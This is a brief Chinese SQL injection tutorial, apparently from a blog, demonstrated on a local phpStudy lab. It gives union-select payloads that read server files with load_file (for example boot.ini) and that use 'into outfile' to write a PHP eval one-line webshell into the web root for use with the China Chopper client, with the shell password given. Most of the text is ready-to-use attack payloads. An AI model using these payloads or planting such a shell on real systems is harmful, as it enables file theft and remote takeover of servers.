开启secure_file_priv 参数,操作看动图:

读取文件肯定是要知道,文件路径的,不知道的话就找已公布的中间件配置文件地址等
union select 1,load_file('文件路径') -- bbq例如读取虚拟机的 boot.ini 文件:
union select 1,load_file('c:\\boot.ini') -- bbq操作看动图:

一般就写一个菜刀之类的小马,然后用用菜刀连接
union select "木马语句",2 into outfile "上传服务器文件路径" -- bbq例如:我写入一菜刀一句话小马 文件 到 C:\phpStudy\WWW\123.php 目录下
union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php" -- bbq操作看动图:
<?php @eval($_POST['123']);?> 菜刀一句话密码 123
